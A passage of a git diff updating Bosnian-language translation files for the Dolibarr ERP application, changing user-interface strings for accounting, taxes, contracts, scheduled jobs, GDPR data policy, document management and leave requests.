deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +220,8 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Po godini NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Nije izmireno -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Banka -AccountingJournalType5=Expenses report +AccountingJournalType5=Izvještaj o troškovima AccountingJournalType8=Inventar AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model izvoza @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +446,11 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/bs_BA/compta.lang b/htdocs/langs/bs_BA/compta.lang index b15eb833c59..4246c45ffe0 100644 --- a/htdocs/langs/bs_BA/compta.lang +++ b/htdocs/langs/bs_BA/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Stanje (prije) Balance=Stanje Debit=Duguje Credit=Potražuje +AccountingDebit=Duguje +AccountingCredit=Potražuje Piece=Računovodstvena dok. AmountHTVATRealReceived=Neto prikupljeno AmountHTVATRealPaid=Neto plaćeno @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Mode %sVAT on commitment accounting%s. CalcModeVATEngagement=Mode %sVAT on incomes-expenses%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Calculation mode AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/bs_BA/contracts.lang b/htdocs/langs/bs_BA/contracts.lang index 013e35d14b5..7207e405ac1 100644 --- a/htdocs/langs/bs_BA/contracts.lang +++ b/htdocs/langs/bs_BA/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contracts/Subscriptions ContractsAndLine=Contracts and line of contracts Contract=Ugovor ContractLine=Contract line +ContractLines=Contract lines Closing=Closing NoContracts=Nema ugovora MenuServices=Usluge @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Pomjeri uslugu u drugi ugovor. ConfirmMoveToAnotherContract=Izabrao sam novi ugovor i potvrđujem da želim premjestiti ovu uslugu u odabrani ugovor. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Obnovi stavku ugovora (broj %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Datum isticanja NoExpiredServices=Nema istekle aktivne usluge ListOfServicesToExpireWithDuration=Lista usluga pred isticanje za %s dana @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Kontakt kupca za potpisivanje ugovora HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/bs_BA/cron.lang b/htdocs/langs/bs_BA/cron.lang index 9d02c089388..230fdb79da2 100644 --- a/htdocs/langs/bs_BA/cron.lang +++ b/htdocs/langs/bs_BA/cron.lang @@ -26,7 +26,7 @@ CronCommand=Komanda CronList=Scheduled jobs CronDelete=Delete scheduled jobs CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job +CronExecute=Launch now CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=Job @@ -58,7 +58,7 @@ CronNote=Komentar CronFieldMandatory=Polja %s su obavezna CronErrEndDateStartDt=Datum završetka ne može biti prije datuma početka StatusAtInstall=Status at module installation -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Iskljući CronTaskInactive=This job is disabled (not scheduled) CronId=ID @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=Job disabled MakeLocalDatabaseDumpShort=Local database backup MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/bs_BA/datapolicy.lang b/htdocs/langs/bs_BA/datapolicy.lang new file mode 100644 index 00000000000..6ca7b85b6be --- /dev/null +++ b/htdocs/langs/bs_BA/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Kupac +DATAPOLICY_TIERS_PROSPECT = Mogući klijent +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dobavljač +DATAPOLICY_CONTACT_CLIENT = Kupac +DATAPOLICY_CONTACT_PROSPECT = Mogući klijent +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dobavljač +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/bs_BA/dict.lang b/htdocs/langs/bs_BA/dict.lang index d99dd8d4a81..3fba8165d1b 100644 --- a/htdocs/langs/bs_BA/dict.lang +++ b/htdocs/langs/bs_BA/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holandija CountryHU=Mađarska CountryRU=Rusija CountrySE=Švedska -CountryCI=Obala Slonovače +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Gospođa +CivilityMMEShort=Gospođa CivilityMR=Gospodin +CivilityMRShort=Gospodin CivilityMLE=Gospođica CivilityMTRE=Master CivilityDR=Doktor diff --git a/htdocs/langs/bs_BA/ecm.lang b/htdocs/langs/bs_BA/ecm.lang index ae5d1288de0..e91a29eb4ff 100644 --- a/htdocs/langs/bs_BA/ecm.lang +++ b/htdocs/langs/bs_BA/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ručni direktorij ECMSectionAuto=Automatski direktorij ECMSectionsManual=Ručna struktura ECMSectionsAuto=Automatska struktura +ECMSectionsMedias=Medias tree ECMSections=Direktoriji ECMRoot=ECM Root ECMNewSection=Novi direktorij @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Broj fajlova u poddirektoriju ECMCreationUser=Kreator ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatski direktoriji se popunjavaju automatski nakon dodavanja dokumenata sa kartice elementa.
      * Manuelni direktoriji se mogu koristit za snimanje dokumenata koji nisu povezani za određeni element. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Direktorij %s je obrisan. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Traži po ključnim riječima diff --git a/htdocs/langs/bs_BA/holiday.lang b/htdocs/langs/bs_BA/holiday.lang index 76dc1b6154c..e6823a7116c 100644 --- a/htdocs/langs/bs_BA/holiday.lang +++ b/htdocs/langs/bs_BA/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Kadrovska služba -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Mjesečni izvještaj MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Datum početka @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Morate odabrati datum početka. NoDateFin=Morate odabrati datum završetka. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Razlog UserCP=Korisnik ErrorAddEventToUserCP=Došlo je do greške prilikom dodavanja izuzetnog odsustva. AddEventToUserOkCP=Dodavanje izuzetno odsustva je kopmletirano. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Prethodno stanje NewSoldeCP=Novo stanje alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupe +users=Korisnici +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request 